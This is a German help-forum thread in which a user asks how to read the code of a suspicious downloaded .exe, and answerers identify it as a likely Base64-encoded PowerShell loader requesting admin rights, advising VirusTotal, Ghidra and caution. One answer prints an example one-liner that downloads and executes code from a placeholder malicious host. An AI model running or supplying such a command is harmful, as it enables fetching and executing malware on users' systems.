exe code decrypten?
Hey, ich habe mir etwas Gedownlaoded, was mir unseriös erscheint.
Die Datei beeinhaltet eine .exe Datei.
Wenn ich mir den Code auf dieser exe file anschauen will, dann ist es Encrypted und man erkennt nicht was im code alles drinsteht.
Deshalb wollte ich mal nachfragen, wie man das Decrypten kanny damit man den ganzen code lesen kann?
Ich danke schon mal im voraus für alle Antworten!
Decrypten
so sieht der code circa aus:
2 Antworten
In Deinem Fall handelt es sich bei Deiner .exe-Datei um einen Loader für ein enthaltenes Base64-codiertetes Poershell-KommendozeilenScript.
Base64 lässt sich relativ simpel decodieren.
Verdächtig ist jedoch, das eine solche Kommando innerhalb eine exe versteckt wird. Normalerweise macht sich kein Programmierer die Mühe ein Powershell-Script in eine exe zu compilieren.
Für Angreifer ist Powershell ein beliebtes Mittel um komplexe Aufgaben, wie das Nachladen und ausführen von Code direkt aus dem Netz mit wenigen kleinen Befehlen zu erledigen. (Invoke-WebRequest)
iex $((iwr 'www.schadcode.de/gift.txt').Content)
...soviel zur Theorie.
Derartiger Code wird in der Regel von keinem Antivirusprogramm moniert, da Powershellscript zum Normalen Werkzeug eines Administrators gehört und auch Base64-Codierung normal verwendet wird um komplexe Scripte frei von Sonderzeichen zu transportieren.
Ich mach mir nicht die Mühe den Buchstabensalat abzutippen, um zu schauen was drin ist. (Zumal es sich mit großer Wahrscheinlichkeit ohnehin um in meiner Codebox gezeigte Technik handelt. ---oft mehrfach hintereinander geschaltet).
Aus den in Deinem Screenshot enthaltenen Daten geht hervor, das deine Exe-Datei Adminrechte anfordert! ...ein weiteres Indiz für mögliche Gefahren. (Unkontrolliertes Powershell mit Adminrechten ist quasi göttlich)
Mehr muss man eigentlich nicht sehen um ein "Finger weg" auszurufen
Ja dass alles erkennt man ganz ohne Decompiler und cracking.
was meijnst du mit encrypted? Redest du davon, dass du die Dateien im editor geöffnet hast un da komische Symbole waren?
Dass kommt daher, das die Datei eine binär Datei ist, und die bytes in Buchstaben und Symbole umgewandelt werden wenn du die Datei öffnest mit nem editor.
Den Inhalt kannst du z.b. mit einem hex editor ansehen, oder du kannst versuchen z.b. mit ghidra das Programm zu Dekompilieren..
Zudem besteht die Möglichkeit mehr infos zu bekommen indem du die mit virustotal analysieren lässt.
Hab die Antwort geschrieben bevor das Bild gepostet wurde. Abgesehen davon, hoffe ich dass du Verständnis dafür hast, das ich den Bass 64 String nicht abschreiben werde.
Ok versuche ich mal, danke.
ich versuche halt zu überprüfen ob im Code etwas unerwünschtes steht und es meine Informationen grabbt. habe auch ein Bild ergänzt, falls du etwas schon so draus lesen kannst.
Das kannst du eher mit virus total herausfinden. Denn ich gehe mal davon aus dass du asambly und low level c code nicht lesen kannst, oder?
Nein das kann ich nicht, ich habe mir erhofft etwas da raus zu lesen so in etwa um zu schauen ob es Sicherheitssysteme manipuliert oder der Code komisch ist.
Kannst du denn etwas vom Code im Bild etwas direktes erkennen?
Auf dem bild ist kein code zu erkennen, zumindest nicht direkt, und indirekt auch eigentlich nicht.
Wie gesagt lade die Datei auf virus total hoch.
Die der code ist kompiliert., das heist, ohne die einzelnen bytes zusehen, oder eher ohne das Programm zu dekompilierren, kann man nichts viel sagen. Und selbst dann, braucht es ein geschultes talent um damit etwas anzufangen.
Mehr zum reverse engineering https://www.youtube.com/watch?v=rnR3T4CWu6s&t=77s
Der eigentliche enthaltene problematische Powershell-Aufruf ist relativ deutlich als String in der exe definiert. Mit etwas copy und paste wäre es ein leichtes den Base64-Code in Scriptcode umzuwandeln. ...und diesen (mit gezielten Haltepunkten und gesperrten "iex"/Scripblock-execution ) auszutesten.
Aus Erfahrung und ohne decodieren durfte es sich um Code zum Nachladen von anderem Code aus dem Netz handeln.